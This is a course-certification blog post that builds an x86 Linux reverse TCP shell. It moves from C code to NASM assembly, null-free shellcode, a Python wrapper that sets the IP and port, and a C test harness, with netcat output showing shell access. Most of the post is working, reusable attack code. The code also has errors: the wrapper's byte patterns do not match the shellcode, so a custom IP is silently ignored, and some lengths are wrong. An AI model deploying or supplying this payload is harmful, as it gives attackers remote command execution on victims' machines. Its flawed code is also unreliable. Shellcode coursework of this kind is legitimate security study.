SLAE x86 Assignment 2: Reverse TCP Shell
Reverse TCP Shell
- Reverse connects to a configured IP address and port number
- Executes a shell on a successful connection
- IP address and port number should be easily configurable
Concept
A Reverse TCP shell initiates a connection from the target host back to the attacker’s IP address and listening port, executing a shell on the target host’s machine (via the TCP protocol).
Reverse shells have a significantly higher success rate than their bind shell counterparts due to the inherent nature of firewalls not filtering outbound connections. From the perspective of a firewall, a user would typically initiate outbound requests when browsing the web and related resources.
Reverse TCP Shell in C
The following C skeleton code will be used to demonstrate the Reverse TCP shell from a high-level language perspective.
This will be used as a template for the low-level assembly code to follow:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
// Declare variables
int sockfd;
struct sockaddr_in serv_addr;
// Create socket
sockfd = socket(AF_INET, SOCK_STREAM, 0);
// IP address family
serv_addr.sin_family = AF_INET;
// Destination IP address
serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
// Destination port
serv_addr.sin_port = htons(4444);
// Reverse connect to target IP address
connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
// Duplicate file descriptors for STDIN, STDOUT and STDERR
int i;
for (i=0; i <= 2; i++){
dup2(sockfd, i);
}
// Execute /bin/sh using execve
char *argv[] = {"/bin/sh", NULL};
execve(argv[0], argv, NULL);
}
POC (C Code)
The C code is compiled as an executable ELF binary and executed:
osboxes@osboxes:~/Downloads/SLAE$ gcc reverse_shell_tcp_poc.c -o reverse_shell_tcp_poc
osboxes@osboxes:~/Downloads/SLAE$ ./reverse_shell_tcp_poc
A separate terminal demonstrating a successful reverse connection and shell on the local host (via port 4444):
osboxes@osboxes:~$ nc -lv 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
uid=1000(osboxes) gid=1000(osboxes) groups=1000(osboxes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
Reverse TCP Shell in Assembly
Strace is used to debug and monitor the interactions between the executable process and the Linux kernel, visually showing the system calls for the Reverse TCP shell:
osboxes@osboxes:~/Downloads/SLAE$ strace -e socket,connect,dup2,execve ./reverse_shell_tcp_poc
execve("./reverse_shell_tcp_poc", ["./reverse_shell_tcp_poc"], [/* 21 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
dup2(3, 0) = 0
dup2(3, 1) = 1
dup2(3, 2) = 2
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0
Note the various syscalls in the C code which will be utilised in the upcoming Assembly code:
- socket -> Creates a socket
- connect -> Initiates a connection on a socket
- dup2 -> Redirects STDIN, STDOUT, and STDERR to the incoming client connection
- execve -> Executes a shell
The syscalls in the C code relate to the following numbers as referenced below in the header file:
osboxes@osboxes:~/Downloads/SLAE$ egrep "execve|dup2|socketcall" /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102
A socketcall is defined in the man pages requiring 2 arguments, call and args:
osboxes@osboxes:~/Downloads/SLAE$ man socketcall
SOCKETCALL(2) Linux Programmer's Manual SOCKETCALL(2)
NAME
socketcall - socket system calls
SYNOPSIS
int socketcall(int call, unsigned long *args);
DESCRIPTION
socketcall() is a common kernel entry point for the socket system calls. call determines which socket
function to invoke. args points to a block containing the actual arguments, which are passed through
to the appropriate call.
A look up in the net header file reveals the values for the socket and connect syscalls:
osboxes@osboxes:~/Downloads/SLAE$ cat /usr/include/linux/net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
Using the C code as a reference and template for the Assembly code, the memory registers are initialized and cleared by performing an XOR operation against themselves (sets their values to ‘0’):
; initialize registers
xor eax, eax
xor ebx, ebx
1st Syscall (Create Socket)
To create the socket syscall, a value is needed in the EAX register to call socket:
osboxes@osboxes:~/Downloads/SLAE$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket
#define __NR_socketcall 102
The header file reveals the code for socket is 102. Converting 102 from decimal to hex equates to the hex equivalent of 0x66, this value will be placed in the lower half of EAX.
The next values are that of the socket properties as defined. The integer values for type (SOCK_STREAM) and domain (AF_INET/PF_INET) can be found in the socket header file:
osboxes@osboxes:~/Downloads/SLAE$ cat /usr/include/i386-linux-gnu/bits/socket.h
SOCK_STREAM = 1, /* Sequenced, reliable, connection-based
#define PF_INET 2 /* IP protocol family. */
The last argument value for int protocol is going to be ‘0’ to accept any protocol according to the man pages definition for socket:
; push socket values onto the stack
push eax ; push 0 onto the stack, default protocol
push 0x1 ; push 1 onto the stack, SOCK_STREAM
push 0x2 ; push 2 onto the stack, AF_INET
The newly created socket can be identified by storing the value of EAX into the EDX register as reference for a later stage (with the ability to use EAX in subsequent system calls):
mov edx, eax ; save the return value
1st Syscall (Assembly code section):
; 1st syscall - create socket (sockaddr_in struct)
mov al, 0x66 ; hex value for socket
mov bl, 0x1 ; socket
mov ecx, esp ; pointer to the arguments pushed
int 0x80 ; call the interrupt to create the socket, execute the syscall
mov edx, eax ; save the return value
2nd Syscall (Connect Socket to IP/Port in Sockaddr Struct)
The connect syscall in the Reverse TCP shell essentially encompasses the bind, accept, and listen syscalls in the Bind TCP shell from Assignment 1.
The definition of the connect syscall function in the man pages describes the arguments required:
osboxes@osboxes:~/Downloads/SLAE$ man connect
CONNECT(2) Linux Programmer's Manual CONNECT(2)
NAME
connect - initiate a connection on a socket
SYNOPSIS
#include <sys/types.h> /* See NOTES */
#include <sys/socket.h>
int connect(int sockfd, const struct sockaddr *addr,
socklen_t addrlen);
DESCRIPTION
The connect() system call connects the socket referred to by the file descriptor sockfd to the address
specified by addr. The addrlen argument specifies the size of addr. The format of the address in addr
is determined by the address space of the socket sockfd; see socket(2) for further details.
The 3 arguments required:
- int sockfd -> A reference to the newly created socket (EAX was moved into EDX)
- const struct sockaddr *addr -> A pointer to the location on the stack of the sockaddr struct to be created
- socklen_t addrlen -> The length of an IP socket address is 16
The structure for handling internet addresses can be viewed via the man pages in the header file:
osboxes@osboxes:~/Downloads/SLAE$ cat /usr/include/netinet/in.h
/* Structure describing an Internet (IP) socket address. */
#define __SOCK_SIZE__ 16 /* sizeof(struct sockaddr) */
struct sockaddr_in {
__kernel_sa_family_t sin_family; /* Address family */
__be16 sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
4 structures can be defined:
- struct sockaddr
- AF_INET (Address family)
- Port Number
- Internet address
Since the stack grows from High to Low memory it is important to remember to place these arguments onto the stack in reverse order.
The Internet address will be set to 127.0.0.1 (listening machine), the value 0xffffffff is moved into EDI.
The XOR’d value of 127.0.0.1 (0xfeffff80) is then pushed onto the stack in reverse order.
The chosen port number will need to be converted from decimal 4444 to hex 115C, which equates to 0x5c11 in Little Endian format.
The chosen port number is then pushed onto the stack as the next argument. The word value 0x5c11 relates to port number 4444 in Little Endian format.
The word value of 0x2 is pushed onto the stack which loads the value for AF_INET executing the syscall, which completes the creation of sockaddr struct.
The ESP stack pointer (top of the stack) is moved into the ECX register to store the const struct sockaddr *addr argument.
The value of 16 (struct sockaddr) is then pushed onto the stack, along with the pointers to sockaddr pushed onto the stack:
mov edi, 0xffffffff; XOR IP address with this hex value (avoid NULL's contained in IP)
xor edi, 0xfeffff80; hex value of 127.0.0.1 XOR'd with 0xffffffff
push edi ; push XOR'd value onto the stack
push word 0x5c11; port 4444 is set
push word 0x2 ; AF_INET = 2
mov ecx, esp ; pointer to the arguments
push 0x16 ; length of sockaddr struct, 16
push ecx ; push pointer to sockaddr
push edx ; push pointer to sockfd
The next instruction set moves the hex value for the socket function into the lower half of EAX, which is required for the connect syscall:
mov al, 0x66 ; hex value for socket
Followed by an instruction to call the interrupt to execute the connect syscall:
mov bl, 3 ; sys_connect = 3
mov ecx, esp ; pointer to the arguments
int 0x80 ; call the interrupt to execute the connect syscall
2nd Syscall (Assembly code section):
; 2nd syscall - connect socket to IP/Port in sockaddr struct
mov edi, 0xffffffff; XOR IP address with this hex value (avoid NULL's contained in IP)
xor edi, 0xfeffff80; hex value of 127.0.0.1 XOR'd with 0xffffffff
push edi ; push XOR'd value onto the stack
push word 0x5c11; port 4444 is set
push word 0x2 ; AF_INET = 2
mov ecx, esp ; pointer to the arguments
push 0x16 ; length of sockaddr struct, 16
push ecx ; push pointer to sockaddr
push edx ; push pointer to sockfd
mov al, 0x66 ; hex value for socket
mov bl, 3 ; sys_connect = 3
mov ecx, esp ; pointer to the arguments
int 0x80 ; call the interrupt to execute the connect syscall
3rd Syscall (Duplicate File Descriptors for STDIN, STDOUT and STDERR)
The dup2 syscall works by creating a loop, and iterating 3 times to accommodate all 3 file descriptors loading into the accepted connection (providing an interactive reverse shell session).
To redirect IO to the descriptor, a loop is initiated with the ECX register, commonly known as the counter register.
The dup2 syscall code can be found in the header file below, converting 63 from decimal to hex equals 0x3f:
osboxes@osboxes:~/Downloads/SLAE$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep dup2
#define __NR_dup2 63
All required arguments of dup2 are in sockfd (stored in connect syscall), which will be moved into EBX.
The syscall code of 0x3f is moved in the lower part of the EAX memory region.
Whilst the signed flag is not set (JNS) - the counter register is decremented each time within the loop. Once the value of ‘-1’ gets set in ECX, the signed flag will be set and the loop is broken (exits when $exc equals 0).
3rd syscall (Assembly code section):
; 3rd syscall - duplicate file descriptors for STDIN, STDOUT and STDERR
xor ecx, ecx ; clear ecx register
mov cl, 3 ; counter for file descriptors 0,1,2 (STDIN, STDOUT, STDERR)
mov ebx, edx ; move socket into ebx (new int sockfd)
loop_dup2:
dec ecx ; decrement ecx by 1 (new int sockfd)
mov al, 0x3f ; move the dup2 syscall code into the lower part of eax
int 0x80 ; call interrupt to execute dup2 syscall
jns loop_dup2 ; repeat for 1,0
4th Syscall (Execute /bin/sh using Execve)
The final syscall instructs the program to execute the execve syscall which essentially points to ‘/bin/sh’.
The execve syscall is defined by the man pages as follows:
osboxes@osboxes:~/Downloads/SLAE$ man execve
EXECVE(2) Linux Programmer's Manual EXECVE(2)
NAME
execve - execute program
SYNOPSIS
#include <unistd.h>
int execve(const char *filename, char *const argv[],
char *const envp[]);
DESCRIPTION
execve() executes the program pointed to by filename. filename must be either a binary exe-
cutable, or a script starting with a line of the form:
#! interpreter [optional-arg]
For details of the latter case, see "Interpreter scripts" below.
argv is an array of argument strings passed to the new program. By convention, the first of
these strings should contain the filename associated with the file being executed. envp is an
array of strings, conventionally of the form key=value, which are passed as environment to the
new program. Both argv and envp must be terminated by a NULL pointer. The argument vector and
environment can be accessed by the called program's main function, when it is defined as:
int main(int argc, char *argv[], char *envp[])
This objective is achieved when a reverse connection is made to the newly created socket port, in turn executing an interactive shell for an attacker on the target machine.
This instruction set will load the string ‘/bin/sh’ onto the stack in reverse order, since the stack grows from high to low memory.
The execve syscall works with Null pointers and terminators, which requires a terminator to be placed onto the stack after clearing the EAX register and setting the value to ‘0’:
xor eax, eax ; clear register
push eax ; terminator placed onto the stack with value of 0
Before placing the string ‘/bin/sh’ onto the stack (reverse order), it is important to remember to avoid Null Bytes and add padding where possible in the shellcode.
To ensure that the string is divisible by 4, an additional character ‘/’ is added to increase the characters from 7 to 8 resulting in ‘//bin/sh’.
Python can be used to interpret and extract the hex address, along with splitting the string up into 4 byte halves (clean hex address to use for the calls):
osboxes@osboxes:~/Downloads/SLAE$ python
Python 2.7.3 (default, Feb 27 2014, 20:00:17)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> a = '//bin/sh'
>>> a[::-1]
'hs/nib//'
>>> import binascii
>>> binascii.hexlify(b'hs/n')
'68732f6e'
>>> binascii.hexlify(b'ib//')
'69622f2f'
After the Null terminator has been pushed onto the stack to null terminate the ‘//bin/sh argument’, the hex values for ‘//bin/sh’ can then be pushed onto the stack (reverse order):
push 0x68732f6e ; push the end of "//bin/sh", 'hs/n'
push 0x69622f2f ; push the beginning of "//bin/sh", 'ib//'
The EBX register will be used to carry the pointer location of the ‘//bin/sh’ entity, which points EBC to the stack:
mov ebx, esp ; move pointer to '//bin/sh' into ebx, null terminated
Null out the EAX register by clearing the ECX and EDX registers:
xor ecx, ecx ; clear ecx register
xor edx, edx ; clear edx register
The execve syscall code can be found in the header file below, converting 11 from decimal to hex equals 0xb:
osboxes@osboxes:~/Downloads/SLAE$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve
#define __NR_execve 11
The value of 0xb is placed into the lower memory region of EAX.
Finally, the execve syscall and the program interrupt are called to execute the program, and initiate the full Reverse TCP shell on the target machine:
mov al, 0xb ; move syscall code for execve into al
int 0x80 ; call the interrupt to execute execve syscall, execute '//bin/sh' shell
4th syscall (Assembly code section):
; 4th syscall - execute /bin/sh using execve
xor eax, eax ; clear eax register
push eax ; terminator placed onto the stack with value of 0
push 0x68732f6e ; push the end of "//bin/sh", 'hs/n'
push 0x69622f2f ; push the beginning of "//bin/sh", 'ib//'
mov byte [esp + 11], al
mov ebx, esp ; move pointer to '//bin/sh' into ebx, null terminated
xor ecx, ecx ; clear ecx register
xor edx, edx ; clear edx register
mov al, 0xb ; move syscall code for execve into al
int 0x80 ; call the interrupt to execute execve syscall, execute '//bin/sh' shell
Assembly Code (Final)
; Filename: reverse_shell_tcp.nasm
; Author: h3ll0clar1c3
; Purpose: Reverse shell connecting back to IP address 127.0.0.1 on TCP port 4444
; Compilation: ./compile.sh reverse_shell_tcp
; Usage: ./reverse_shell_tcp
; Testing: nc -lv 4444
; Shellcode size: 92 bytes
; Architecture: x86
global _start
section .text
_start:
; initialize registers
xor eax, eax
xor ebx, ebx
; push socket values onto the stack
push eax ; push 0 onto the stack, default protocol
push 0x1 ; push 1 onto the stack, SOCK_STREAM
push 0x2 ; push 2 onto the stack, AF_INET
; 1st syscall - create socket (sockaddr_in struct)
mov al, 0x66 ; hex value for socket
mov bl, 0x1 ; socket
mov ecx, esp ; pointer to the arguments pushed
int 0x80 ; call the interrupt to create the socket, execute the syscall
mov edx, eax ; save the return value
; 2nd syscall - connect socket to IP/Port in sockaddr struct
mov edi, 0xffffffff; XOR IP address with this hex value (avoid NULL's contained in IP)
xor edi, 0xfeffff80; hex value of 127.0.0.1 XOR'd with 0xffffffff
push edi ; push XOR'd value onto the stack
push word 0x5c11; port 4444 is set
push word 0x2 ; AF_INET = 2
mov ecx, esp ; pointer to the arguments
push 0x16 ; length of sockaddr struct, 16
push ecx ; push pointer to sockaddr
push edx ; push pointer to sockfd
mov al, 0x66 ; hex value for socket
mov bl, 3 ; sys_connect = 3
mov ecx, esp ; pointer to the arguments
int 0x80 ; call the interrupt to execute the connect syscall
; 3rd syscall - duplicate file descriptors for STDIN, STDOUT and STDERR
xor ecx, ecx ; clear ecx register
mov cl, 3 ; counter for file descriptors 0,1,2 (STDIN, STDOUT, STDERR)
mov ebx, edx ; move socket into ebx (new int sockfd)
loop_dup2:
dec ecx ; decrement ecx by 1 (new int sockfd)
mov al, 0x3f ; move the dup2 syscall code into the lower part of eax
int 0x80 ; call interrupt to execute dup2 syscall
jns loop_dup2 ; repeat for 1,0
; 4th syscall - execute /bin/sh using execve
xor eax, eax ; clear eax register
push eax ; terminator placed onto the stack with value of 0
push 0x68732f6e ; push the end of "//bin/sh", 'hs/n'
push 0x69622f2f ; push the beginning of "//bin/sh", 'ib//'
mov byte [esp + 11], al
mov ebx, esp ; move pointer to '//bin/sh' into ebx, null terminated
xor ecx, ecx ; clear ecx register
xor edx, edx ; clear edx register
mov al, 0xb ; move syscall code for execve into al
int 0x80 ; call the interrupt to execute execve syscall, execute '//bin/sh' shell
POC (Assembly Code)
The Assembly code is compiled by assembling with Nasm, and linking with the following bash script whilst outputting an executable binary:
osboxes@osboxes:~/Downloads/SLAE$ cat compile.sh
#!/bin/bash
echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm
echo '[+] Linking ...'
ld -o $1 $1.o
echo '[+] Done!'
The Assembly code compiled as an executable binary:
osboxes@osboxes:~/Downloads/SLAE$ ./compile.sh reverse_shell_tcp
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
The compiled ELF binary is executed:
osboxes@osboxes:~/Downloads/SLAE$ ./reverse_shell_tcp
A separate terminal demonstrating a successful reverse connection and shell on the local host (via port 4444):
osboxes@osboxes:~$ nc -lv 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
uid=1000(osboxes) gid=1000(osboxes) groups=1000(osboxes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
Configurable IP Address and Port (Customize Shellcode)
Objdump is used to extract the shellcode from the Reverse TCP shell in hex format (Null free):
osboxes@osboxes:~/Downloads/SLAE$ objdump -d ./reverse_shell_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\xb0\x66\xb3\x01\x89\xe1\xcd\x80\x89\xc2\xbf\xff\xff\xff\xff\x81\xf7\x80\xff\xff\xfe\x57\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x16\x51\x52\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x31\xc9\xb1\x03\x89\xd3\x49\xb0\x3f\xcd\x80\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x88\x44\x24\x0b\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
Once the raw shellcode has been extracted, the last requirement to complete the assignment is to ensure the IP address and port number are easily configurable.
This can be achieved by utilising a Python wrapper which XOR’s the given IP address with a key, and takes a standard 2 byte port number and checks the chosen port number to ensure the custom port is valid.
The shellcode variable defined within the script includes the original hardcoded shellcode for port 4444:
#!/usr/bin/python
# Filename: reverse_shell_tcp_wrapper.py
# Author: h3ll0clar1c3
# Purpose: Wrapper script to generate dynamic shellcode, configurable IP address and port number
# Usage: python reverse_shell_tcp_wrapper.py <IP address> <port>
import socket
import sys
import struct
shellcode = """
\\x31\\xc0\\x31\\xdb\\x50\\x6a\\x01\\x6a\\x02\\xb0\\x66\\xb3\\x01\\x89\\xe1\\xcd\\x80\\x89\\xc2\\xbf\\xff
\\xff\\xff\\xff\\x81\\xf7\\x80\\xff\\xff\\xfe\\x57\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe1\\x6a\\x16
\\x51\\x52\\xb0\\x66\\xb3\\x03\\x89\\xe1\\xcd\\x80\\x31\\xc9\\xb1\\x03\\x89\\xd3\\x49\\xb0\\x3f\\xcd\\x80
\\x79\\xf9\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x88\\x44\\x24\\x0b\\x89\\xe3
\\x31\\xc9\\x31\\xd2\\xb0\\x0b\\xcd\\x80
"""
if (len(sys.argv) < 3):
print "Usage: python {name} <IP address> <port>".format(name = sys.argv[0])
exit()
ip = socket.inet_aton(sys.argv[1])
# Find valid XOR byte
xor_byte = 0
for i in range(1, 256):
matched_a_byte = False
for octet in ip:
if i == int(octet.encode('hex'), 16):
matched_a_byte = True
break
if not matched_a_byte:
xor_byte = i
break
if xor_byte == 0:
print 'Failed to find a valid XOR byte!'
exit(1)
# Inject the XOR bytes
shellcode = shellcode.replace("\\xb8\\xff\\xff\\xff\\xff", "\\xb8\\x{x}\\x{x}\\x{x}\\x{x}".format(x = struct.pack('B', xor_byte).encode('hex')))
# IP address
ip_bytes = []
for i in range(0, 4):
ip_bytes.append(struct.pack('B', int(ip[i].encode('hex'), 16) ^ xor_byte).encode('hex'))
shellcode = shellcode.replace("\\xbb\\x80\\xff\\xff\\xfe", "\\xbb\\x{b1}\\x{b2}\\x{b3}\\x{b4}".format(
b1 = ip_bytes[0],
b2 = ip_bytes[1],
b3 = ip_bytes[2],
b4 = ip_bytes[3]
))
# Port
port = int(sys.argv[2])
if port < 0 or port > 65535:
print "Invalid port number, must be between 0 and 65535!"
exit()
port = hex(socket.htons(int(sys.argv[2])))
shellcode = shellcode.replace("\\x11\\x5c", "\\x{b1}\\x{b2}".format(b1 = port[4:6], b2 = port[2:4]))
# Execute
print("Generated shellcode using custom IP: " + sys.argv[1] + " and custom port: " + sys.argv[2])
print shellcode
print "Shellcode length: %d bytes" % len(shellcode)
if "\x00" in shellcode:
print "WARNING: Null byte is present!"
else:
print "No nulls detected"
The Python code dynamically generates shellcode in hex format based on the user input, calculating the shellcode length and checking for Null bytes in the process:
osboxes@osboxes:~/Downloads/SLAE$ python reverse_shell_tcp_wrapper.py 127.0.0.1 5555
Generated shellcode using custom IP: 127.0.0.1 and custom port: 5555
\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\xb0\x66\xb3\x01\x89\xe1\xcd\x80\x89\xc2\xbf\xff
\xff\xff\xff\x81\xf7\x80\xff\xff\xfe\x57\x66\x68\x15\xb3\x66\x6a\x02\x89\xe1\x6a\x16
\x51\x52\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x31\xc9\xb1\x03\x89\xd3\x49\xb0\x3f\xcd\x80
\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x88\x44\x24\x0b\x89\xe3
\x31\xc9\x31\xd2\xb0\x0b\xcd\x80
Shellcode length: 374 bytes
No nulls detected
A simple C program scripted and edited with the newly generated shellcode:
/**
* Filename: shellcode.c
* Author: h3ll0clar1c3
* Purpose: Reverse shell connecting back to IP address 127.0.0.1 on TCP port 5555
* Compilation: gcc -fno-stack-protector -z execstack -m32 shellcode.c -o reverse_shell_tcp_final
* Usage: ./reverse_shell_tcp_final
* Testing: nc -lv 5555
* Shellcode size: 92 bytes
* Architecture: x86
**/
#include <stdio.h>
#include <string.h>
int main(void)
{
unsigned char code[] =
"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\xb0\x66\xb3\x01\x89\xe1\xcd\x80\x89\xc2\xbf\xff\xff\xff\xff"
"\x81\xf7\x80\xff\xff\xfe\x57\x66\x68\x15\xb3\x66\x6a\x02\x89\xe1\x6a\x16\x51\x52\xb0\x66\xb3\x03"
"\x89\xe1\xcd\x80\x31\xc9\xb1\x03\x89\xd3\x49\xb0\x3f\xcd\x80\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73"
"\x68\x68\x2f\x2f\x62\x69\x88\x44\x24\x0b\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
printf("Shellcode length: %d bytes\n", strlen(code));
void (*s)() = (void *)code;
s();
return 0;
}
POC (Final Shellcode)
The C program is compiled as an executable binary with stack-protection disabled, and executed resulting in a shellcode size of 92 bytes:
osboxes@osboxes:~/Downloads/SLAE$ gcc -fno-stack-protector -z execstack -m32 shellcode.c -o reverse_shell_tcp_final
osboxes@osboxes:~/Downloads/SLAE$ ./reverse_shell_tcp_final
Shellcode length: 92 bytes
A separate terminal demonstrating a successful reverse connection and shell on the local host (via port 5555):
osboxes@osboxes:~$ nc -lv 5555
Connection from 127.0.0.1 port 5555 [tcp/*] accepted
id
uid=1000(osboxes) gid=1000(osboxes) groups=1000(osboxes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
SLAE Disclaimer
This blog post has been created for completing the requirements of the SLAE certification.
Student ID: PA-14936
GitHub Repo: Code